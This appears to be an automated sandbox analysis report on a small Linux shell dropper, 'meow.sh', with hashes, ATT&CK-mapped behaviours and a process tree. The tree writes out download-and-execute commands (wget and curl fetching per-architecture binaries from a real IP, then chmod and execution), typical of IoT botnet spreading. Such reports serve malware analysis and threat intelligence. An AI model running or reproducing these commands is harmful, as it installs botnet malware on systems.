Analysis
- max time kernel
150s - max time network
147s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
24/07/2026, 12:25
Static task
static1
Behavioral task
behavioral1
Sample
meow.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
meow.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
meow.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
meow.sh
Resource
debian9-mipsel-20260513-en
General
- Target meow.sh
- Size 1KB
- Sample260724-pl4etsgb68
- SHA256 50cffb0f65d31b38f5b222955d92879a3e102d0a0d9a3625ed87fb7834fab210
- MD5 b7f8b2bfb7b1e62622d217c4d52ba122
- SHA1 1356b1db6e1965c092cc4b28849ce7150d1ca4e7
- SHA512 43e03511a5f8f9d11f39c3edc36768984eda195ff9334b294660f292de8d1208d0511c7b52e8d899f47c22a286b541ecffbbd44751472a24dab12e3c357b5acb
- TLSH T185116DC532906F72FC95AB2B76A6441870C795E651CF4FD458DD3DE4898DE04F443642
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 765 chmod 770 chmod 775 chmod 780 chmod 785 chmod 758 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/armv4l 759 meow.sh - Renames itself 1 IoCs
pid Process 759 armv4l - Enumerates running processes
Discovers information about currently running processes on the system
- Reads MAC address of network interface 2 TTPs 1 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
description ioc Process File opened for reading /sys/class/net/eth0/address armv4l - Reads network interface configuration 2 TTPs 2 IoCs
Fetches information about one or more active network interfaces.
description ioc Process File opened for reading /sys/class/net/eth0/flags armv4l File opened for reading /sys/class/net/eth0/carrier armv4l - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself udhcpc 759 armv4l - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl - Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/class/net armv4l -
description ioc Process File opened for reading /proc/756/cmdline armv4l File opened for reading /proc/799/cmdline armv4l File opened for reading /proc/19/cmdline armv4l File opened for reading /proc/26/cmdline armv4l File opened for reading /proc/289/cmdline armv4l File opened for reading /proc/587/cmdline armv4l File opened for reading /proc/638/cmdline armv4l File opened for reading /proc/797/cmdline armv4l File opened for reading /proc/800/cmdline armv4l File opened for reading /proc/807/cmdline armv4l File opened for reading /proc/2/cmdline armv4l File opened for reading /proc/21/cmdline armv4l File opened for reading /proc/650/cmdline armv4l File opened for reading /proc/813/cmdline armv4l File opened for reading /proc/817/cmdline armv4l File opened for reading /proc/5/cmdline armv4l File opened for reading /proc/14/cmdline armv4l File opened for reading /proc/283/cmdline armv4l File opened for reading /proc/337/cmdline armv4l File opened for reading /proc/763/cmdline armv4l File opened for reading /proc/798/cmdline armv4l File opened for reading /proc/803/cmdline armv4l File opened for reading /proc/41/cmdline armv4l File opened for reading /proc/114/cmdline armv4l File opened for reading /proc/651/cmdline armv4l File opened for reading /proc/774/cmdline armv4l File opened for reading /proc/811/cmdline armv4l File opened for reading /proc/815/cmdline armv4l File opened for reading /proc/24/cmdline armv4l File opened for reading /proc/157/cmdline armv4l File opened for reading /proc/323/cmdline armv4l File opened for reading /proc/327/cmdline armv4l File opened for reading /proc/760/cmdline armv4l File opened for reading /proc/810/cmdline armv4l File opened for reading /proc/4/cmdline armv4l File opened for reading /proc/25/cmdline armv4l File opened for reading /proc/42/cmdline armv4l File opened for reading /proc/103/cmdline armv4l File opened for reading /proc/113/cmdline armv4l File opened for reading /proc/315/cmdline armv4l File opened for reading /proc/591/cmdline armv4l File opened for reading /proc/783/cmdline armv4l File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/6/cmdline armv4l File opened for reading /proc/7/cmdline armv4l File opened for reading /proc/9/cmdline armv4l File opened for reading /proc/11/cmdline armv4l File opened for reading /proc/228/cmdline armv4l File opened for reading /proc/789/cmdline armv4l File opened for reading /proc/791/cmdline armv4l File opened for reading /proc/3/cmdline armv4l File opened for reading /proc/16/cmdline armv4l File opened for reading /proc/28/cmdline armv4l File opened for reading /proc/111/cmdline armv4l File opened for reading /proc/592/cmdline armv4l File opened for reading /proc/761/cmdline armv4l File opened for reading /proc/773/cmdline armv4l File opened for reading /proc/self/exe armv4l File opened for reading /proc/10/cmdline armv4l File opened for reading /proc/20/cmdline armv4l File opened for reading /proc/164/cmdline armv4l File opened for reading /proc/273/cmdline armv4l File opened for reading /proc/649/cmdline armv4l File opened for reading /proc/795/cmdline armv4l - System Network Configuration Discovery 1 TTPs 8 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 764 curl 766 .mips 767 rm 768 wget 769 curl 771 mipsel 772 rm 763 wget - Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/busybox cp File opened for modification /tmp/armv4l wget File opened for modification /tmp/armv4l curl
Processes
-
/tmp/meow.sh/tmp/meow.sh1⤵
- Executes dropped EXE
PID:651 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
PID:655
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/usr/bin/wgetwget http://94.154.43.164/armv4l2⤵
- Writes file to tmp directory
PID:663
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/usr/bin/curlcurl -O http://94.154.43.164/armv4l2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:757
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/bin/chmodchmod +x armv4l busybox meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U82⤵
- File and Directory Permissions Modification
PID:758
-
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/tmp/armv4l./armv4l armv4l2⤵
- Renames itself
- Reads MAC address of network interface
- Reads network interface configuration
- Changes its process name
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:759
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/bin/rmrm -rf armv4l2⤵PID:761
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/usr/bin/wgetwget http://94.154.43.164/mips2⤵
- System Network Configuration Discovery
PID:763
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/usr/bin/curlcurl -O http://94.154.43.164/mips2⤵
- System Network Configuration Discovery
PID:764
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/bin/chmodchmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U82⤵
- File and Directory Permissions Modification
PID:765
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/tmp/.mips./.mips mips2⤵
- System Network Configuration Discovery
PID:766
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/bin/rmrm -rf mips2⤵
- System Network Configuration Discovery
PID:767
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/usr/bin/wgetwget http://94.154.43.164/mipsel2⤵
- System Network Configuration Discovery
PID:768
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/usr/bin/curlcurl -O http://94.154.43.164/mipsel2⤵
- System Network Configuration Discovery
PID:769
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/bin/chmodchmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U82⤵
- File and Directory Permissions Modification
PID:770
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/tmp/mipsel./mipsel mipsel2⤵
- System Network Configuration Discovery
PID:771
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/bin/rmrm -rf mipsel2⤵
- System Network Configuration Discovery
PID:772
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/usr/bin/wgetwget http://94.154.43.164/armv5l2⤵PID:773
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/usr/bin/curlcurl -O http://94.154.43.164/armv5l2⤵PID:774
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/bin/chmodchmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U82⤵
- File and Directory Permissions Modification
PID:775
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/tmp/armv5l./armv5l armv5l2⤵PID:776
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/bin/rmrm -rf armv5l2⤵PID:777
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/usr/bin/wgetwget http://94.154.43.164/i6862⤵PID:778
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/usr/bin/curlcurl -O http://94.154.43.164/i6862⤵PID:779
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/bin/chmodchmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U82⤵
- File and Directory Permissions Modification
PID:780
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/tmp/i686./i686 i6862⤵PID:781
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/bin/rmrm -rf i6862⤵PID:782
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/usr/bin/wgetwget http://94.154.43.164/armv7l2⤵PID:783
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/usr/bin/curlcurl -O http://94.154.43.164/armv7l2⤵PID:784
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/bin/chmodchmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U82⤵
- File and Directory Permissions Modification
PID:785
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/tmp/armv7l./armv7l armv7l2⤵PID:786
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/bin/rmrm -rf armv7l2⤵PID:787
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/armv4l
- Size 93KB
- SHA256 ef42e6fd238baa990731f2ab20d130c489c1689588c5842713f28b4e90724019
- MD5 448ba09e54af0197023998b7fde8c9be
- SHA1 221f4d4c06a01399bd975f18da17c07b82764925
- SHA512 2d20e87d495145e93ed60ad5ed7e366b72d3dc964b7673844081d45de38c00de2f96e0d7b4ff3948d9858b0aceba5c1155d95a4f0acc2bbe59c80ce1abb7e64d
- SSDEEP 1536:8N8/F7AHaT6ZVyEpTgxLuUstaESnYBdQFUBhazHA+Ho1Wm2od4kT4z5En:h/LT6ZVHGxLuLtaESnYPQFUDazHkYoPN
- TLSH T129934B46BD81DB42C6E82376BA5D82CC332603F8D2EA7106DD265F6137DB81B0E7B651
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/busybox
- Size 507KB
- SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
- MD5 e588bcf03ae78237b58899d35f50c570
- SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
- SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
- SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
- TLSH T1EEB4E0C9FD812D83C6C3823D32021C759575D5DDB3AA921A322DA0FB3768AB653DE394
- MD5 SHA1 SHA512 SSDEEP TLSH